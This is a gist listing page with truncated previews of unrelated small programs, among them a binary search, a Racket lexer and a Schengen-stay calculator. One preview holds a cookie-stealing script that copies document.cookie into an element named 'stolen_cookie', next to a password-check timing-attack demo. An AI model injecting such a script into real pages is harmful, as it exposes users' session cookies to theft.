This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // The following code will create Bizarre compiler error when compiled with clang++. | |
| // Not sure what's wrong with it. | |
| #include <iostream> | |
| #include <vector> | |
| using namespace std; | |
| struct Edge { | |
| int v; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* | |
| * | |
| * 最简单的二分查找. 在一个数组里面找是否存在某个数 | |
| * A是数组,在A[p-r]里面找是否存在某个数, 存在返回index,否则返回-1 | |
| * | |
| */ | |
| int binSearch(int A[], int p, int r, int v) { | |
| while (p <= r) { | |
| int m = (p+r)/2; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <script> | |
| var id = String.fromCharcode([115, 116, 111, 108, 101, 110, 95, 99, 111, 111, 107, 105, 101]); | |
| document.getElementById(id).value = document.cookie; | |
| </script> | |
| // Timing Attack # 1 | |
| function checkPwd(passwd) { | |
| var start_time = new Date().getTime(); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <iostream> | |
| #include <vector> | |
| using namespace std; | |
| int big_average(const vector<int> &vec) { | |
| // we want sum(vec) / vec.size() | |
| int a = vec.size(), quotient = 0, remainder = 0; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| def calc(k,p,alpha): | |
| u = 1.0 - 1.0 / float(1<<31) | |
| p_actual = k / pow(1.0 + u * (pow(k / p, alpha) - 1), 1.0/alpha) | |
| print "p actual:", p_actual | |
| def E_X(r, p): | |
| C_a = alpha * pow(k, alpha) / (1 - (pow(k/p,alpha))) | |
| return (C_a / (r - alpha)) * (pow(p, r-alpha) - pow(k,r-alpha)) | |
| def C(ex1, ex2): | |
| return ex2 / ex1 - 1 | |
| E_X_1_actual = E_X(1, p_actual) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #lang racket | |
| (require parser-tools/lex | |
| (prefix-in re- parser-tools/lex-sre) | |
| parser-tools/yacc) | |
| (provide (all-defined-out)) | |
| (define-tokens a (NUM VAR)) | |
| (define-empty-tokens b (+ - EOF LET IN)) | |
| (define-lex-trans number | |
| (syntax-rules () |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| """ | |
| Simple calculator to calculate the remaining number of days that I can stay in the schengen zone | |
| """ | |
| from datetime import datetime, timedelta | |
| dates = [ | |
| "2019-06-28", "2019-07-27", | |
| "2019-09-02", "2019-10-05", |
OlderNewer